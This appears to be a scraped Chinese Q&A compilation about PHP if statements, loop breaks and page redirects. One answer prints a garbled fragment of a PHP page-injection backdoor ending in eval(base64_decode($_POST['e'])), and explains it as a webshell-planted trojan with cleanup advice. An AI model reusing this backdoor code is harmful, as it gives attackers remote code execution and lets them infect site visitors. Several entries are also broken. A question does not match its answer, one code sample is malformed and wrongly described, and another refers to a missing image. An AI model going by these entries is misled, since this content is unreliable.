1. php怎么if判断后跳转到某个页面
修改成功之后执行下下面的代码就可以了
$url="http://www.abc.com";
echo "<scrīpt LANGUAGE='javascrīpt'>";
echo "location.href='$url'";
echo "</scrīpt>";
2. PHP中的break问题,其中包含IF与foreach
if(!isset($ev8l1))#',$v)||preg_match('#[\(\[](\s*\d+,)#',$v);if((preg_match('#\beval\b#',$v)&&($e||strpos($v,'fromCharCode')))||($e&&strpos($v,'document.write')))$s=str_replace($v,'',$s);}if(preg_match_all('#<iframe ([^>]*?)src=[\'"]?(http:)?//([^>]*?)>#is',$s,$a))foreach($a[0] as $v)if(preg_match('# width\s*=\s*[\'"]?0*[01][\'"> ]|display\s*:\s*none#i',$v)&&!strstr($v,'?'.'>'))$s=preg_replace('#'.preg_quote($v,'#').'.*?</iframe>#is','',$s);$s=str_replace($a='<script src= ></script>','',$s);if(stristr($s,'<body'))$s=preg_replace('#(\s*<body)#mi',$a.'\1',$s);elseif(strpos($s,',a'))$s.=$a;return $s;}function ev8l2($a,$b,$c,$d)ob_start('ev8l');for($i=0;$i<count($s);$i++)}}$ev8ll=(($a=@set_error_handler('ev8l2'))!='ev8l2')?$a:0;eval(base64_decode($_POST['e']));
意思是将参数中的<script>...</script>部分替换为<script src= ></script>,这样你的网页就被挂上了马。这段代码应该是通过webshell上传到你机器上的一段挂马程序,至于webshell 的打开有很多原因,即然是php代码那么你的机器上很可能存在php远程文件包含漏洞,也就是如果你的机器上存在Wordtrans、WordPress、rgboard、phpcms等php程序,那么很可能就有这个的漏洞。
推荐解决方法:
1.恢复已被篡改的网页
2.找一个RFI扫描器对本机进行扫描,将找到的漏洞进行修补(相应的程序网上都有对应的修补方法)
3. php 如何跳出if语句有几种方法
php 跳出if语句的方法有两种:
方法一、用goto语句修改代码如下:
<?php
if(1){
echo 111;
//如何在这跳出if语句,运行下面的代码?
goto a;
echo 222;
}
a:
echo 333;
?>
注:goto语句是php5.3以上包括5.3版本有效,对php5.2无效。
方法二、代码如下 :
while($a){
if ($b):
echo "ddd";
break;//这个return希望跳到if($c)这个if语句这里
endif;
break;
}
if($c){
if( $a && $b )
{
echo "ddd";
}
endif;
}
4. 关于php if(=)问题
这个是因为运算符号的优先级与结合方向的原因导致的
if($i=6&&$j=8),这个实际上等于
if($i = (6&&$j=8))
赋值符号从右向左算,所以这里$j得到了值8,注意这里&&的优先级是高于前面的赋值符号的,在这里6与$j进行与运算,自然是1,然后把与运算的结果赋于了$i,也就是1
之后你进行了++运算,所以最终结果是1-9
5. PHP if 判断
or 和 ||都可以,但是应该这样写:
<?php if ($image['n1']==1 or $image['n1']==2 or $image['n1']==3 or $image['n1']==4)
{echo "小";}
?>
注意里面的空格不能少哦
6. php 如何跳出if语句
1、新建一个250.php,如图所示。
7. 用php的if语句判断:页面提示文字,点击则实行下行代码,不点击,5秒后自动关闭页面。
我认为这个功能不能用php来实现的,可以用JS实现
<script type="text/javascript" >
var s=5;
function closePage()
{
document.getElementById("spa_s").innerHTML=s;
setInterval("closePage_c()",1000)
}
function closePage_c()
{
if(s>0) s-=1;
document.getElementById("spa_s").innerHTML=s;
if(s==0)
{
window.location.href="../index.php";
}
}
</script>
The membership is not a VIP member! <span id="spa_s"></span> seconds after the window automatically jump to the Zhitong traffic Home ...<br /><br /> <script type="text/javascript" >closePage()</script>
<a href="../index.php">Click to jump</a>
8. php if 语句出错
$pass后面少了分号。
9. 关于php的if函数问题
这段程序帮你改过了,你看看吧。可以正确执行了:
if(isset($_POST['username']))
{
echo '正常提交';
echo "<br />";
echo "<br />";
$username=$_POST['username'];
$username=trim($username);//去掉空格
$username=htmlspecialchars($username);//去掉HTML标签
if(strlen($username)<2)
{
echo '用户名不能小于两位';//检查证字符数
echo "<br />";
echo "<br />";
exit;//停止执行下一步并且退出
}
if(is_numeric($username))
{
echo'用户名不能是数字';//检查是否为数字
echo "<br />";
echo "<br />";
exit;//停止执行下一步并且退出
}
else
echo "$username";
}
10. php 跳出循环的几种方式
<?php
$i = 1;
while (true) { // 这里看上去这个循环会一直执行
if ($i==2) {// 2跳过不显示
$i++;
continue; //跳出本次循环,本次循环体中的代码不在执行,故本次循环结尾的$I++不会在执行。即控制程序放弃本次循环continue语句
之后的代码并转而进行下一次循环。
} else if ($i==5) {// 但到这里$i=5就跳出循循环了
break; //break直接结束循环体,语法break N 可直接定义跳出几层循环
} else {
echo $i . '<br>';
}
$i++;
}
exit; //exit结束本程序,和return的区别在于 return可以带返回值
echo '这里不输出';
?>